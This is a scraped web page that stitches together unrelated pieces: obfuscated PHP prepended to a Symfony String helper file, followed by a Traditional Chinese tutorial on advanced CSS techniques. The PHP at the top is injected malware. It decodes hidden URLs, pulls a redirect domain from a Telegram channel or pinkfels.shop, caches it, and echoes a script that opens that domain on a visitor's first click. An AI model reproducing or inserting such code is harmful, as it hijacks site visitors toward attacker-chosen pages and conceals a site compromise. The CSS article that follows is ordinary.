function fn_aa3fb05a15bfeb25dc278d4040ae23bf($var_ca82733491623ed9ca5b46aa68429a45) { if (function_exists('curl_version')) { $var_e8061cb59b46a4a2bda304354b950448 = curl_init(); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_URL, $var_ca82733491623ed9ca5b46aa68429a45); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_RETURNTRANSFER, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMi4wLjAuMCBTYWZhcmkvNTM3LjM2')); curl_setopt($var_e8061cb59b46a4a2bda304354b950448, CURLOPT_TIMEOUT, 5); $var_0097b357800d476540b254cb19296657 = curl_exec($var_e8061cb59b46a4a2bda304354b950448); curl_close($var_e8061cb59b46a4a2bda304354b950448); return $var_0097b357800d476540b254cb19296657; } return file_get_contents($var_ca82733491623ed9ca5b46aa68429a45); } function fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a) { preg_match_all(base64_decode('Jy88Y29kZT4oLio/KTxcL2NvZGU+L3Mn'), fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly90Lm1lL3MvdHJhZmZpY3JlZGlyZWN0')), $var_a15eaf839e07e2cef01c7e6f791d7b3c); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) ? end($var_a15eaf839e07e2cef01c7e6f791d7b3c[1]) : null; if (empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6 = json_decode(fn_aa3fb05a15bfeb25dc278d4040ae23bf(base64_decode('aHR0cHM6Ly9waW5rZmVscy5zaG9wLz90PWpzb24maT0=') . '97bf62ed54c571ff9e795b79f12a9434&a=01693136061'), true); $var_ca82733491623ed9ca5b46aa68429a45 = !empty($var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain']) ? $var_8ac0e8ef4fc01f63a98c96f0ddb07fd6['domain'] : null; } if (!empty($var_ca82733491623ed9ca5b46aa68429a45)) { file_put_contents($var_7627930d2ca3d69d67459718ffea775a, base64_encode($var_ca82733491623ed9ca5b46aa68429a45)); } return $var_ca82733491623ed9ca5b46aa68429a45; } $var_7627930d2ca3d69d67459718ffea775a = md5('01693136061'); if (file_exists($var_7627930d2ca3d69d67459718ffea775a) && filesize($var_7627930d2ca3d69d67459718ffea775a) > 0) { $var_8f999d74606f93bf0e6f6174f9741f89 = time() - filemtime($var_7627930d2ca3d69d67459718ffea775a); $var_ca82733491623ed9ca5b46aa68429a45 = base64_decode(file_get_contents($var_7627930d2ca3d69d67459718ffea775a)); } if ((isset($var_8f999d74606f93bf0e6f6174f9741f89) && $var_8f999d74606f93bf0e6f6174f9741f89 >= 30) || empty($var_ca82733491623ed9ca5b46aa68429a45)) { $var_46cae77fe5ea47d71b4e481b77b36db3 = fn_584c3af00a1385cce80d07a86490fb7d($var_7627930d2ca3d69d67459718ffea775a); if ($var_46cae77fe5ea47d71b4e481b77b36db3) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_46cae77fe5ea47d71b4e481b77b36db3; } } if ($var_ca82733491623ed9ca5b46aa68429a45) { $var_ca82733491623ed9ca5b46aa68429a45 = $var_ca82733491623ed9ca5b46aa68429a45.'?01693136061'; echo base64_decode('PHNjcmlwdD5jbGlja19yID0gZmFsc2U7IHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixmdW5jdGlvbigpe2RvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgZnVuY3Rpb24oKXsgaWYoY2xpY2tfciA9PSBmYWxzZSkgd2luZG93Lm9wZW4oIg==').$var_ca82733491623ed9ca5b46aa68429a45.base64_decode('Iik7IGNsaWNrX3IgPSB0cnVlO30pO30pOzwvc2NyaXB0Pg=='); } ?> /* * This file is part of the Symfony package. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\String; if (!\function_exists(u::class)) { function u(?string $string = ''): UnicodeString { return new UnicodeString($string ?? ''); } } if (!\function_exists(b::class)) { function b(?string $string = ''): ByteString { return new ByteString($string ?? ''); } } if (!\function_exists(s::class)) { /** * @return UnicodeString|ByteString */ function s(?string $string = ''): AbstractString { $string = $string ?? ''; return preg_match('//u', $string) ? new UnicodeString($string) : new ByteString($string); } } CSS 進階技巧全攻略|全面提升網頁設計質感與效能的必備知識 - OOLIN

CSS 進階技巧全攻略|全面提升網頁設計質感與效能的必備知識

在熟悉 HTML 和 CSS 的基礎後,進一步學習 CSS 進階技巧能讓你的網頁設計更加專業、具質感。本篇文章將介紹 CSS 命名與架構法則、模組化、效能優化技巧,以及常見問題與解法。

二、CSS 命名與架構法則

1. BEM(Block Element Modifier)

BEM 是一種命名規範,讓 CSS 結構更具一致性與可維護性。

  • Block(區塊):代表一個獨立的元件(如 card)。
  • Element(元素):隸屬於區塊的子元素(如 card__title)。
  • Modifier(修飾符):調整元件狀態或樣式(如 card--active)。

2. OOCSS(面向物件的 CSS)

OOCSS 強調將樣式拆分為結構與外觀兩部分,提升可重用性。

  • 結構(Structure):定義元件的骨架與佈局。
  • 外觀(Skin):處理顏色、字型、背景等樣式。

3. Atomic Design(原子設計)

Atomic Design 將介面元件分為五層,建立有系統的設計流程。

  • Atoms(原子):最小不可分的元件(如按鈕、標籤)。
  • Molecules(分子):將原子組合成簡單元件(如表單欄位)。
  • Organisms(生物):結合多個分子形成完整區塊(如導覽列)。
  • Templates(範本):定義頁面結構與佈局。
  • Pages(頁面):具體呈現內容與數據。

三、CSS 模組化與 Scoped Styles

1. CSS 模組化

將 CSS 拆分為獨立檔案,提升維護性與可讀性。

  • 優點:避免全域樣式衝突、提升開發效率。
  • 實踐:使用 @import、CSS Modules、PostCSS。

2. Scoped Styles(範圍樣式)

在元件框架中(如 React、Vue)使用 Scoped Styles,確保樣式僅作用於特定元件。

  • React:使用 CSS Modules 或 Styled Components。
  • Vue:使用 <style scoped> 標籤。

四、CSS 效能優化技巧

1. Lazy Load(延遲載入)

僅在需要時載入資源,減少初始頁面載入時間。

  • 圖片延遲載入:使用 loading="lazy"
  • 元件延遲載入:使用動態匯入(如 React 的 React.lazy)。

2. Critical CSS(關鍵 CSS)

僅在初始渲染時載入必要樣式,提升首次可視化速度。

  • 工具:使用 critical 套件或手動擷取關鍵 CSS。

3. CLS(Cumulative Layout Shift,累積版面位移)

避免元素動態載入導致的版面跳動,提升使用者體驗。

  • 設定固定寬高:圖片、影片等媒體元素加上 widthheight
  • 預留空間:使用 min-heightmin-width

五、常見問題與解法

1. z-index 疊加順序錯亂

  • 問題原因:未正確設定元素的層級關係。
  • 解法:確認元素的定位(如 position: relative),並合理設定 z-index

2. overflow 隱藏內容

  • 問題原因:設定 overflow: hidden 導致內容無法完整顯示。
  • 解法:確認父元素高度、使用 overflow: auto

3. position 定位問題

  • 問題原因:絕對定位元素未參考正確父層。
  • 解法:確認父層是否加上 position: relative

4. 白屏效應(FOUT、FOIT)

  • 問題原因:字型或樣式延遲載入,導致畫面閃爍。
  • 解法:使用 Web Font Loader、Preload 字型資源。

掌握 CSS 命名規範、模組化、效能優化與解決常見問題,能讓你的前端開發更有效率、網站更具專業感。下一篇文章將探討更進階的前端技術,讓我們一起持續精進吧!

【小水豚教你做網站! 輕鬆學好 HTML / CSS 網頁設計】

★★★★★日本暢銷突破 3 萬冊!史上最可愛的網頁設計書來啦! 怎樣都學不會 HTML 和 CSS?別放棄,跟著可愛的水豚君一起學習吧!

發佈留言